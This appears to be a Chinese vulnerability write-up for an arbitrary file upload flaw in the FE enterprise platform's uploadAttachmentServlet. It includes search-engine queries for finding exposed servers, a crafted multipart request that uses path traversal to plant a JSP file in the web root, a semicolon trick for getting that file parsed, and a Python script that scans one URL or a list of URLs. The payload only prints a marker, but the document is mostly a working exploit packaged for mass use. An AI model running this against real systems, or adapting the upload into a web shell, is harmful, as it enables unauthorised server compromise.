声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
漏洞描述
飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。其uploadAttachmentServlet
存在文件上传漏洞,导致恶意攻击者可以上传恶意后门、木马等,从而获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。
漏洞复现
1)信息收集
fofa:app="FE-协作平台"
hunter:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"
圣人不死,大盗不止。
2)构造数据包
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 404
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp"
Content-Type: text/plain
<% out.println("123123");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
multipart/form-data
格式的请求解释:
MIME多部分数据格式,通常用于HTTP POST请求中,特别是在需要上传文件和额外数据的情况下。这种格式允许在一个请求中发送多种类型的数据,比如文件、表单字段等。
详细解析代码片段:
-
边界(Boundary)定义:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
这个字符串是分隔不同数据部分的边界。它是在请求头中定义的,并且在每个数据部分之间重复出现,以区分不同的部分。
-
uploadFile
部分:Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/from.jsp" Content-Type: text/plain <% out.println("123123");%>
Content-Disposition
头部指定了这个部分是一个表单数据(form-data),名字为uploadFile
,并且关联了一个文件名from.jsp
。这表明这部分数据代表了一个文件。Content-Type
指定这部分数据的类型是text/plain
,但实际上,这里的from.jsp
看起来是一个Java Server Page(JSP)文件。- 接下来是JSP文件的内容,它会输出字符串
123123
到页面。
-
json
部分:Content-Disposition: form-data; name="json" {"iq":{"query":{"UpdateType":"mail"}}}
- 这部分同样是一个表单数据,名字为
json
,没有指定文件名,因为这并不是一个文件上传。 - 数据是一个JSON对象,包含了
iq
对象,其中有一个query
字段,其值是一个对象,具有UpdateType
属性,值为mail
。
- 这部分同样是一个表单数据,名字为
-
结束边界:
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
这是边界字符串的结束标记,表示所有数据部分的传输已经完成。
这样的格式常用于上传文件到服务器,同时可以携带额外的参数,比如描述文件的元数据或处理文件的指令。在实际应用中,边界字符串通常是随机生成的,以避免与数据内容冲突。
3)查看上传文件,;
绕过解析
GET /from; HTTP/1.1
Host: ip
回显123123
,文件上传成功
测试工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 导入请求库,用于发送HTTP请求
import requests
# 导入随机库,用于生成随机字符串
import random
# 导入字符串库,用于获取ASCII字母和数字
import string
# 导入解析命令行参数的库
import argparse
# 忽略HTTPS警告
from urllib3.exceptions import InsecureRequestWarning
# 定义红色和重置终端颜色的字符串,用于输出高亮提示
RED = '\033[91m'
RESET = '\033[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 生成随机基础字符串
def rand_base(n):
"""
生成包含n个字符的随机字符串。
参数:
n -- 字符串的长度
返回值:
随机生成的字符串
"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
# 检测URL是否存在上传漏洞
def check_vulnerability(url):
"""
检测给定URL是否存在飞企互联-FE企业运营管理平台的上传漏洞。
参数:
url -- 待检测的URL
无返回值。如果检测到漏洞,则打印提示信息;否则,打印无漏洞信息。
"""
# 生成随机文件名
filename = rand_base(6)
# 构造上传URL
upload_url = url.rstrip('/') + '/servlet/uploadAttachmentServlet'
# 设置上传请求的头部信息
upload_headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk'
}
# 构造上传请求的数据
upload_data = (
'------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'
f'Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/{filename}.jsp"\r\n'
'Content-Type: text/plain\r\n\r\n'
'<% out.println("123123");%>\r\n'
'------WebKitFormBoundaryKNt0t4vBe8cX9rZk\r\n'
'Content-Disposition: form-data; name="json"\r\n\r\n'
'{"iq":{"query":{"UpdateType":"mail"}}}\r\n'
'------WebKitFormBoundaryKNt0t4vBe8cX9rZk--'
)
try:
# 发送上传请求
response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)
# 构造访问上传文件的URL
access_url = url.rstrip('/') + f'/{filename}.jsp;'
# 发送访问请求
response_access = requests.get(access_url, verify=False, timeout=30)
# 检查上传和访问的响应,判断是否存在漏洞
if response_upload.status_code == 200 and response_access.status_code == 200 and "123123" in response_access.text:
print(f"{RED}URL [{url}] 存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
# 程序入口
def main():
# 解析命令行参数
parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联-FE企业运营管理平台uploadAttachmentServlet任意文件上传漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
# 根据参数执行漏洞检测
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
运行截图
邓林之阴初见昆仑君,惊鸿一瞥,乱我心曲。